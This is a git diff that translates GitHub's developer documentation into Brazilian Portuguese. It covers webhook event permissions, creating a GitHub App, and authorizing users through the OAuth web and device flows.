-[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %}
-[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %}
-[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %}
-[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %}
-[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %}
-[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
-[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
-[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %}
-[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %}
-[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %}
-[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
-[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
-[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %}
-[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %}
-[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %}
-[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
-[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %}
-[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %}
-[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
-[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %}
-[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %}
-[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %}
-[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %}
-[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %}
+| Nome do evento webhook                                                                 | Permissão necessária                             | Descrição                                                                                     |
+| -------------------------------------------------------------------------------------- | ------------------------------------------------ | --------------------------------------------------------------------------------------------- |
+| [`check_run`](/webhooks/event-payloads/#check_run)                                     | `Verificações`                                   | {% data reusables.webhooks.check_run_short_desc %}
+| [`check_suite`](/webhooks/event-payloads/#check_suite)                                 | `Verificações`                                   | {% data reusables.webhooks.check_suite_short_desc %}
+| [`commit_comment`](/webhooks/event-payloads/#commit_comment)                           | `Conteúdo`                                       | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
+| [`content_reference`](/webhooks/event-payloads/#content_reference)                     | `content_references`                             | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
+| [`create`](/webhooks/event-payloads/#create)                                           | `Conteúdo`                                       | {% data reusables.webhooks.create_short_desc %}
+| [`delete`](/webhooks/event-payloads/#delete)                                           | `Conteúdo`                                       | {% data reusables.webhooks.delete_short_desc %}
+| [`implantação`](/webhooks/event-payloads/#deployment)                                  | `Implantações`                                   | {% data reusables.webhooks.deployment_short_desc %}
+| [`implantação_status`](/webhooks/event-payloads/#deployment_status)                    | `Implantações`                                   | {% data reusables.webhooks.deployment_status_short_desc %}
+| [`bifurcação`](/webhooks/event-payloads/#fork)                                         | `Conteúdo`                                       | {% data reusables.webhooks.fork_short_desc %}
+| [`gollum`](/webhooks/event-payloads/#gollum)                                           | `Conteúdo`                                       | {% data reusables.webhooks.gollum_short_desc %}
+| [`Problemas`](/webhooks/event-payloads/#issues)                                        | `Problemas`                                      | {% data reusables.webhooks.issues_short_desc %}
+| [`issue_comment`](/webhooks/event-payloads/#issue_comment)                             | `Problemas`                                      | {% data reusables.webhooks.issue_comment_short_desc %}
+| [`etiqueta`](/webhooks/event-payloads/#label)                                          | `metadados`                                      | {% data reusables.webhooks.label_short_desc %}
+| [`integrante`](/webhooks/event-payloads/#member)                                       | `members`                                        | {% data reusables.webhooks.member_short_desc %}
+| [`filiação`](/webhooks/event-payloads/#membership)                                     | `members`                                        | {% data reusables.webhooks.membership_short_desc %}
+| [`marco`](/webhooks/event-payloads/#milestone)                                         | `pull_request`                                   | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
+| [`org_block`](/webhooks/event-payloads/#org_block)                                     | `organization_administration`                    | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
+| [`organização`](/webhooks/event-payloads/#organization)                                | `members`                                        | {% data reusables.webhooks.organization_short_desc %}
+| [`page_build`](/webhooks/event-payloads/#page_build)                                   | `Páginas`                                        | {% data reusables.webhooks.page_build_short_desc %}
+| [`project`](/webhooks/event-payloads/#project)                                         | `repository_projects` ou `organization_projects` | {% data reusables.webhooks.project_short_desc %}
+| [`project_card`](/webhooks/event-payloads/#project_card)                               | `repository_projects` ou `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
+| [`project_column`](/webhooks/event-payloads/#project_column)                           | `repository_projects` ou `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
+| [`público`](/webhooks/event-payloads/#public)                                          | `metadados`                                      | {% data reusables.webhooks.public_short_desc %}
+| [`pull_request`](/webhooks/event-payloads/#pull_request)                               | `pull_requests`                                  | {% data reusables.webhooks.pull_request_short_desc %}
+| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review)                 | `pull_request`                                   | {% data reusables.webhooks.pull_request_review_short_desc %}
+| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request`                                   | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
+| [`push`](/webhooks/event-payloads/#push)                                               | `Conteúdo`                                       | {% data reusables.webhooks.push_short_desc %}
+| [`versão`](/webhooks/event-payloads/#release)                                          | `Conteúdo`                                       | {% data reusables.webhooks.release_short_desc %}
+| [`repositório`](/webhooks/event-payloads/#repository)                                  | `metadados`                                      | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
+| [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch)                 | `Conteúdo`                                       | Permite aos integradores que usam o GitHub Actions acionar eventos personalizados.{% endif %}
+| [`status`](/webhooks/event-payloads/#status)                                           | `Status`                                         | {% data reusables.webhooks.status_short_desc %}
+| [`equipe`](/webhooks/event-payloads/#team)                                             | `members`                                        | {% data reusables.webhooks.team_short_desc %}
+| [`team_add`](/webhooks/event-payloads/#team_add)                                       | `members`                                        | {% data reusables.webhooks.team_add_short_desc %}
+| [`inspecionar`](/webhooks/event-payloads/#watch)                                       | `metadados`                                      | {% data reusables.webhooks.watch_short_desc %}
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app.md b/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app.md
index 93f56c8090..410bcbacaa 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Creating a GitHub App
+title: Criar um aplicativo GitHub
 intro: '{% data reusables.shortdesc.creating_github_apps %}'
 redirect_from:
   - /early-access/integrations/creating-an-integration
@@ -14,12 +14,13 @@ versions:
 topics:
   - GitHub Apps
 ---
-{% ifversion fpt or ghec %}To learn how to use GitHub App Manifests, which allow people to create preconfigured GitHub Apps, see "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %}
+
+{% ifversion fpt or ghec %}Para aprender como usar manifestos do aplicativo GitHub que permitem que pessoas criem aplicativos GitHub pré-configurados, consulte "[Criando aplicativos GitHub a partir de um manifesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/).{% endif %}
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-  **Note:** {% data reusables.apps.maximum-github-apps-allowed %}
+  **Observação:** {% data reusables.apps.maximum-github-apps-allowed %}
 
 {% endnote %}
 {% endif %}
@@ -27,57 +28,44 @@ topics:
 {% data reusables.apps.settings-step %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-1. Click **New GitHub App**.
-![Button to create a new GitHub App](/assets/images/github-apps/github_apps_new.png)
-1. In "GitHub App name", type the name of your app.
-![Field for the name of your GitHub App](/assets/images/github-apps/github_apps_app_name.png)
+1. Clique em **Novo aplicativo GitHub**. ![Botão para criar um novo aplicativo GitHub](/assets/images/github-apps/github_apps_new.png)
+1. Em "Nome do aplicativo GitHub App", digite o nome do seu aplicativo. ![Campo para o nome do seu aplicativo GitHub](/assets/images/github-apps/github_apps_app_name.png)
 
-  Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub account, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
+  Dê um nome claro e sucinto ao seu aplicativo. Seu aplicativo não pode ter o mesmo nome de uma conta existente no GitHub, a menos que seja o seu próprio nome de usuário ou da sua organização. Uma versão movida do nome do seu aplicativo será exibida na interface do usuário quando sua integração realizar uma ação.
 
-1. Optionally, in "Description", type a description of your app that users will see.
-![Field for a description of your GitHub App](/assets/images/github-apps/github_apps_description.png)
-1. In "Homepage URL", type the full URL to your app's website.
-![Field for the homepage URL of your GitHub App](/assets/images/github-apps/github_apps_homepage_url.png)
+1. Opcionalmente, em "Descrição", digite uma descrição do aplicativo que os usuários irão ver. ![Campo para uma descrição do seu aplicativo GitHub](/assets/images/github-apps/github_apps_description.png)
+1. Em "URL da página inicial", digite a URL completa do site do seu aplicativo. ![Campo para a URL da página inicial do seu aplicativo GitHub](/assets/images/github-apps/github_apps_homepage_url.png)
 {% ifversion fpt or ghes > 3.0 or ghec %}
-1. In "Callback URL", type the full URL to redirect to after a user authorizes the installation. This URL is used if your app needs to identify and authorize user-to-server requests.
+1. Em "URL de retorno de chamada", digite a URL completa para redirecionar após um usuário autorizar a instalação. Esta URL é usada se o aplicativo precisar identificar e autorizar solicitações de usuário para servidor.
 
-  You can use **Add callback URL** to provide additional callback URLs, up to a maximum of 10.
+  Você pode usar **Adicionar URL de retorno de chamada** para fornecer URLs de retorno de chamadas adicionais até o limite máximo de 10.
 
-  ![Button for 'Add callback URL' and field for callback URL](/assets/images/github-apps/github_apps_callback_url_multiple.png)
+  ![Botão para 'Adicionar URL de retorno de chamada' e campo para URL de retorno de chamada](/assets/images/github-apps/github_apps_callback_url_multiple.png)
 {% else %}
-1. In "User authorization callback URL", type the full URL to redirect to after a user authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.
-![Field for the user authorization callback URL of your GitHub App](/assets/images/github-apps/github_apps_user_authorization.png)
+1. Em "URL de chamada de retorno de autorização do usuário", digite a URL completa para redirecionamento após um usuário autorizar uma instalação. Esta URL é usada se o aplicativo precisar identificar e autorizar solicitações de usuário para servidor. ![Campo para a URL de chamada de retorno de autorização do usuário do seu aplicativo GitHub](/assets/images/github-apps/github_apps_user_authorization.png)
 
 {% endif %}
-1. By default, to improve your app's security, your app will use expiring user authorization tokens. To opt-out of using expiring user tokens, you must deselect "Expire user authorization tokens". To learn more about setting up a refresh token flow and the benefits of expiring user tokens, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)."
-  ![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
-1. If your app authorizes users using the OAuth flow, you can select **Request user authorization (OAuth) during installation** to allow people to authorize the app when they install it, saving a step. If you select this option, the "Setup URL" becomes unavailable and users will be redirected to your "User authorization callback URL" after installing the app. See "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)" for more information.
-![Request user authorization during installation](/assets/images/github-apps/github_apps_request_auth_upon_install.png)
-1. If additional setup is required after installation, add a "Setup URL" to redirect users to after they install your app.
-![Field for the setup URL of your GitHub App ](/assets/images/github-apps/github_apps_setup_url.png)
+1. Por padrão, para melhorar a segurança de seus aplicativos, seus aplicativos usarão os tokens de autorização do usuário. Para optar por não usar tokens do usuário expirados, você deverá desmarcar "Expirar tokens de autorização do usuário". Para saber mais sobre como configurar o fluxo de atualização do token e os benefícios de expirar os tokens do usuário, consulte "[Atualizando tokens de acesso do usuário para o servidor](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)." ![Opção para expirar os tokens dos usuários durante a configuração dos aplicativos GitHub](/assets/images/github-apps/expire-user-tokens-selection.png)
+1. Se seu aplicativo autoriza usuários a usar o fluxo OAuth, você pode selecionar **Solicitar autorização de usuário (OAuth) durante a instalação** para permitir que pessoas autorizem o aplicativo ao instalá-lo, economizando uma etapa. Se você selecionar esta opção, a "URL de configuração" irá tornar-se indisponível e os usuários serão redirecionados para a "URL de retorno de chamada de autorização do usuário" após a instalação do aplicativo. Consulte "[Autorizando usuários durante a instalação](/apps/installing-github-apps/#authorizing-users-during-installation)" para obter mais informações. ![Solicitar autorização de usuário durante a instalação](/assets/images/github-apps/github_apps_request_auth_upon_install.png)
+1. Se for necessária uma configuração adicional após a instalação, adicione um "Configurar URL" para redirecionar os usuários após a instalação do seu aplicativo. ![Campo para a URL de configuração do seu aplicativo GitHub ](/assets/images/github-apps/github_apps_setup_url.png)
 
   {% note %}
 
-  **Note:** When you select **Request user authorization (OAuth) during installation** in the previous step, this field becomes unavailable and people will be redirected to the "User authorization callback URL" after installing the app.
+  **Observação:** Ao selecionar **Solicitar autorização do usuário (OAuth) durante a instalação** na etapa anterior, este campo irá tornar-se indisponível e as pessoas serão redirecionadas para a "URL de chamada de retorno de autorização do usuário" após a instalação do aplicativo.
 
   {% endnote %}
 
-1. In "Webhook URL", type the URL that events will POST to. Each app receives its own webhook which will notify you every time the app is installed or modified, as well as any other events the app subscribes to.
-![Field for the webhook URL of your GitHub App](/assets/images/github-apps/github_apps_webhook_url.png)
+1. Na "URL Webhook", digite a URL para a qual os eventos serão POST. Cada aplicativo recebe o seu próprio webhook, que irá notificá-lo sempre que o aplicativo for instalado ou modificado, bem como quaisquer outros eventos que o aplicativo assinar. ![Campo para a URL do webhook do seu aplicativo GitHub](/assets/images/github-apps/github_apps_webhook_url.png)
 
-1. Optionally, in "Webhook Secret", type an optional secret token used to secure your webhooks.
-![Field to add a secret token for your webhook](/assets/images/github-apps/github_apps_webhook_secret.png)
+1. Opcionalmente, no "Segredo do webhook", digite um token secreto opcional usado para proteger seus webhooks. ![Campo para adicionar um token secreto para seu webhook](/assets/images/github-apps/github_apps_webhook_secret.png)
 
   {% note %}
 
-  **Note:** We highly recommend that you set a secret token. For more information, see "[Securing your webhooks](/webhooks/securing/)."
+  **Observação:** É altamente recomendável que você defina um token secreto. Para obter mais informações, consulte "[Protegendo seus webhooks](/webhooks/securing/)".
 
   {% endnote %}
 
-1. In "Permissions", choose the permissions your app will request. For each type of permission, use the drop-down menu and click **Read-only**, **Read & write**, or **No access**.
-![Various permissions for your GitHub App](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png)
-1. In "Subscribe to events", choose the events you want your app to receive.
-1. To choose where the app can be installed, select either **Only on this account** or **Any account**. For more information on installation options, see "[Making a GitHub App public or private](/apps/managing-github-apps/making-a-github-app-public-or-private/)."
-![Installation options for your GitHub App](/assets/images/github-apps/github_apps_installation_options.png)
-1. Click **Create GitHub App**.
-![Button to create your GitHub App](/assets/images/github-apps/github_apps_create_github_app.png)
+1. Em "Permissões", escolha as permissões que o seu aplicativo irá solicitar. Para cada tipo de permissão, use o menu suspenso e clique em **somente leitura**, **leitura & gravação** ou **Sem acesso**. ![Várias permissões para o seu aplicativo GitHub](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png)
+1. Em "Assinar eventos", escolha os eventos que você deseja que seu aplicativo receba.
+1. Para escolher o local onde o aplicativo pode ser instalado, selecione **somente nesta conta** ou **qualquer conta**. Para obter mais informações sobre as opções de instalação, consulte "[Tornando um aplicativo GitHub público ou privado](/apps/managing-github-apps/making-a-github-app-public-or-private/)". ![Opções de instalação para o seu aplicativo GitHub](/assets/images/github-apps/github_apps_installation_options.png)
+1. Click **Criar aplicativo GitHub**. ![Botão para criar o seu aplicativo GitHub](/assets/images/github-apps/github_apps_create_github_app.png)
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md b/translations/pt-BR/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
index f3dc98fd52..3578f5949d 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Identifying and authorizing users for GitHub Apps
+title: Identificar e autorizar usuários para aplicativos GitHub
 intro: '{% data reusables.shortdesc.identifying_and_authorizing_github_apps %}'
 redirect_from:
   - /early-access/integrations/user-identification-authorization
@@ -13,88 +13,89 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Identify & authorize users
+shortTitle: Identificar & autorizar usuários
 ---
+
 {% data reusables.pre-release-program.expiring-user-access-tokens %}
 
-When your GitHub App acts on behalf of a user, it performs user-to-server requests. These requests must be authorized with a user's access token. User-to-server requests include requesting data for a user, like determining which repositories to display to a particular user. These requests also include actions triggered by a user, like running a build.
+Quando o seu aplicativo GitHub age em nome de um usuário, ele realiza solicitações de usuário para servidor. Essas solicitações devem ser autorizadas com o token de acesso de um usuário. As solicitações de usuário para servidor incluem a solicitação de dados para um usuário, como determinar quais repositórios devem ser exibidos para um determinado usuário. Essas solicitações também incluem ações acionadas por um usuário, como executar uma criação.
 
 {% data reusables.apps.expiring_user_authorization_tokens %}
 
-## Identifying users on your site
+## Identificando usuários no seu site
 
-To authorize users for standard apps that run in the browser, use the [web application flow](#web-application-flow).
+Para autorizar usuários para aplicativos-padrão executados no navegador, use o [fluxo de aplicativo web](#web-application-flow).
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-To authorize users for headless apps without direct access to the browser, such as CLI tools or Git credential managers, use the [device flow](#device-flow). The device flow uses the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628).
+Para autorizar usuários para aplicativos sem acesso direto ao navegador, como ferramentas de CLI ou gerentes de credenciais do Git, use o [fluxo de dispositivos](#device-flow). O fluxo de dispositivo usa o OAuth 2.0 [Concessão de autorização do dispositivo](https://tools.ietf.org/html/rfc8628).
 
 {% endif %}
 
-## Web application flow
+## Fluxo do aplicativo web
 
-Using the web application flow, the process to identify users on your site is:
+Ao usar o fluxo de aplicativo web, o processo para identificar usuários no seu site é:
 
-1. Users are redirected to request their GitHub identity
-2. Users are redirected back to your site by GitHub
-3. Your GitHub App accesses the API with the user's access token
+1. Os usuários são redirecionados para solicitar sua identidade do GitHub
+2. Os usuários são redirecionados de volta para o seu site pelo GitHub
+3. Seu aplicativo GitHub acessa a API com o token de acesso do usuário
 
-If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, step 1 will be completed during app installation. For more information, see "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)."
+Se você selecionar **Solicitar autorização de usuário (OAuth) durante a instalação** ao criar ou modificar seu aplicativo, a etapa 1 será concluída durante a instalação do aplicativo. Para obter mais informações, consulte "[Autorizando usuários durante a instalação](/apps/installing-github-apps/#authorizing-users-during-installation)".
 
-### 1. Request a user's GitHub identity
-Direct the user to the following URL in their browser:
+### 1. Solicitar identidade do GitHub de um usuário
+Direcione o usuário para a seguinte URL em seu navegador:
 
     GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
 
-When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app.
+Quando seu aplicativo GitHub especifica um parâmetro do `login`, ele solicita aos usuários com uma conta específica que podem usar para iniciar sessão e autorizar seu aplicativo.
 
-#### Parameters
+#### Parâmetros
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The client ID for your GitHub App. You can find this in your [GitHub App settings](https://github.com/settings/apps) when you select your app. **Note:** The app ID and client ID are not the same, and are not interchangeable.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | This should contain a random string to protect against forgery attacks and could contain any other arbitrary data.
-`login` | `string` | Suggests a specific account to use for signing in and authorizing the app.
-`allow_signup` | `string` | Whether or not unauthenticated users will be offered an option to sign up for {% data variables.product.prodname_dotcom %} during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups.
+| Nome           | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                                                                         |
+| -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`    | `string` | **Obrigatório.** O ID do cliente para o seu aplicativo GitHub. Você pode encontrá-lo em suas [configurações do aplicativo GitHub](https://github.com/settings/apps) quando você selecionar seu aplicativo. **Observação:** O ID do aplicativo e o ID do cliente não são iguais e não são intercambiáveis.                                                                                         |
+| `redirect_uri` | `string` | A URL no seu aplicativo para o qual os usuários serão enviados após a autorização. Este deve ser um match exato para {% ifversion fpt or ghes > 3.0 or ghec %} um dos URLs fornecidos como uma **URL de Callback**{% else %} a URL fornecida no campo de **URL de callback de autorização do usuário**{% endif %} ao configurar o aplicativo GitHub e não pode conter nenhum parâmetro adicional. |
+| `estado`       | `string` | Isso deve conter uma string aleatória para proteger contra ataques falsificados e pode conter quaisquer outros dados arbitrários.                                                                                                                                                                                                                                                                 |
+| `login`        | `string` | Sugere uma conta específica para iniciar a sessão e autorizar o aplicativo.                                                                                                                                                                                                                                                                                                                       |
+| `allow_signup` | `string` | Independentemente de os usuários autenticados ou não atenticados terem a opção de iscrever-se em {% data variables.product.prodname_dotcom %} durante o fluxo do OAuth. O padrão é `verdadeiro`. Use `falso` quando uma política proibir inscrições.                                                                                                                                              |
 
 {% note %}
 
-**Note:** You don't need to provide scopes in your authorization request. Unlike traditional OAuth, the authorization token is limited to the permissions associated with your GitHub App and those of the user.
+**Observação:** Você não precisa fornecer escopos na sua solicitação de autorização. Ao contrário do OAuth tradicional, o token de autorização é limitado às permissões associadas ao seu aplicativo GitHub e às do usuário.
 
 {% endnote %}
 
-### 2. Users are redirected back to your site by GitHub
+### 2. Os usuários são redirecionados de volta para o seu site pelo GitHub
 
-If the user accepts your request, GitHub redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. If the states don't match, the request was created by a third party and the process should be aborted.
+Se o usuário aceitar o seu pedido, O GitHub irá fazer o redirecionamento para seu site com um `código temporário` em um parâmetro de código, bem como o estado que você forneceu na etapa anterior em um parâmetro do `estado`. Se os estados não corresponderem, o pedido foi criado por terceiros e o processo deve ser abortado.
 
 {% note %}
 
-**Note:** If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, GitHub returns a temporary `code` that you will need to exchange for an access token. The `state` parameter is not returned when GitHub initiates the OAuth flow during app installation.
+**Observação:** Se você selecionar **Solicitar autorização de usuário (OAuth) durante a instalação** ao criar ou modificar seu aplicativo, o GitHub irá retornar um `código temporário` que você precisará trocar por um token de acesso. O parâmetro `estado` não é retornado quando o GitHub inicia o fluxo OAuth durante a instalação do aplicativo.
 
 {% endnote %}
 
-Exchange this `code` for an access token.  When expiring tokens are enabled, the access token expires in 8 hours and the refresh token expires in 6 months. Every time you refresh the token, you get a new refresh token. For more information, see "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)."
+Troque este `código` por um token de acesso.  Quando os tokens vencidos estiverem habilitados, token de acesso irá expirar em 8 horas e o token de atualização irá expirar em 6 meses. Toda vez que você atualizar o token, você receberá um novo token de atualização. Para obter mais informações, consulte "[Atualizando tokens de acesso do usuário para servidor](/developers/apps/refreshing-user-to-server-access-tokens)."
 
-Expiring user tokens are currently an optional feature and subject to change. To opt-in to the user-to-server token expiration feature, see "[Activating optional features for apps](/developers/apps/activating-optional-features-for-apps)."
+Os tokens de usuário expirados são atualmente um recurso opcional e estão sujeitos a alterações. Para optar por participar do recurso de expiração de token de usuário para servidor, consulte "[Habilitar funcionalidades opcionais para aplicativos](/developers/apps/activating-optional-features-for-apps)."
 
-Make a request to the following endpoint to receive an access token:
+Faça um pedido para o seguinte ponto de extremidade para receber um token de acesso:
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-#### Parameters
+#### Parâmetros
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The  client ID for your GitHub App.
-`client_secret` | `string`   | **Required.** The  client secret for your GitHub App.
-`code` | `string`   | **Required.** The code you received as a response to Step 1.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | The unguessable random string you provided in Step 1.
+| Nome            | Tipo     | Descrição                                                                                                                                                                                                                                                                                                                                                                                         |
+| --------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`     | `string` | **Obrigatório.** O ID do cliente para o seu aplicativo GitHub.                                                                                                                                                                                                                                                                                                                                    |
+| `client_secret` | `string` | **Obrigatório.** O segredo do cliente do seu aplicativo GitHub.                                                                                                                                                                                                                                                                                                                                   |
+| `código`        | `string` | **Obrigatório.** O código que você recebeu como resposta ao Passo 1.                                                                                                                                                                                                                                                                                                                              |
+| `redirect_uri`  | `string` | A URL no seu aplicativo para o qual os usuários serão enviados após a autorização. Este deve ser um match exato para {% ifversion fpt or ghes > 3.0 or ghec %} um dos URLs fornecidos como uma **URL de Callback**{% else %} a URL fornecida no campo de **URL de callback de autorização do usuário**{% endif %} ao configurar o aplicativo GitHub e não pode conter nenhum parâmetro adicional. |
+| `estado`        | `string` | A string aleatória inexplicável que você forneceu na etapa 1.                                                                                                                                                                                                                                                                                                                                     |
 
-#### Response
+#### Resposta
 
-By default, the response takes the following form. The response parameters `expires_in`, `refresh_token`,  and `refresh_token_expires_in` are only returned when you enable expiring user-to-server access tokens.
+Por padrão, a resposta assume o seguinte formato. Os parâmetros de resposta `expires_in`, `refresh_token`, e `refresh_token_expires_in` só são retornados quando você habilita os token de acesso de usuário para servidor vencidos.
 
 ```json
 {
@@ -107,14 +108,14 @@ By default, the response takes the following form. The response parameters `expi
 }
 ```
 
-### 3. Your GitHub App accesses the API with the user's access token
+### 3. Seu aplicativo GitHub acessa a API com o token de acesso do usuário
 
-The user's access token allows the GitHub App to make requests to the API on behalf of a user.
+O token de acesso do usuário permite que o aplicativo GitHub faça solicitações para a API em nome de um usuário.
 
-    Authorization: token OAUTH-TOKEN
+    Autorização: token OUTH-TOKEN
     GET {% data variables.product.api_url_code %}/user
 
-For example, in curl you can set the Authorization header like this:
+Por exemplo, no cURL você pode definir o cabeçalho de autorização da seguinte forma:
 
 ```shell
 curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
@@ -122,812 +123,812 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Device flow
+## Fluxo de dispositivo
 
 {% note %}
 
-**Note:** The device flow is in public beta and subject to change.
+**Nota:** O fluxo do dispositivo está na versão beta pública e sujeito a alterações.
 
 {% endnote %}
 
-The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager.
+O fluxo de dispositivos permite que você autorize usuários para um aplicativo sem cabeçalho, como uma ferramenta de CLI ou um gerenciador de credenciais do Git.
 
-For more information about authorizing users using the device flow, see "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps#device-flow)".
+Para obter mais informações sobre autorização de usuários que usam o fluxo do dispositivo, consulte "[Autorizar aplicativos OAuth](/developers/apps/authorizing-oauth-apps#device-flow)".
 
 {% endif %}
 
-## Check which installation's resources a user can access
+## Verifique quais recursos de instalação um usuário pode acessar
 
 
-Once you have an OAuth token for a user, you can check which installations that user can access.
+Depois de ter um token OAuth para um usuário, você pode verificar quais instalações o usuário poderá acessar.
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations
 
-You can also check which repositories are accessible to a user for an installation.
+Você também pode verificar quais repositórios são acessíveis a um usuário para uma instalação.
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations/:installation_id/repositories
 
-More details can be found in: [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) and [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token).
+Você pode encontrar mais informações em: [Listar instalações de aplicativos acessíveis para o token de acesso do usuário](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) e [Listar repositórios acessíveis para o token de acesso do usuário](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token).
 
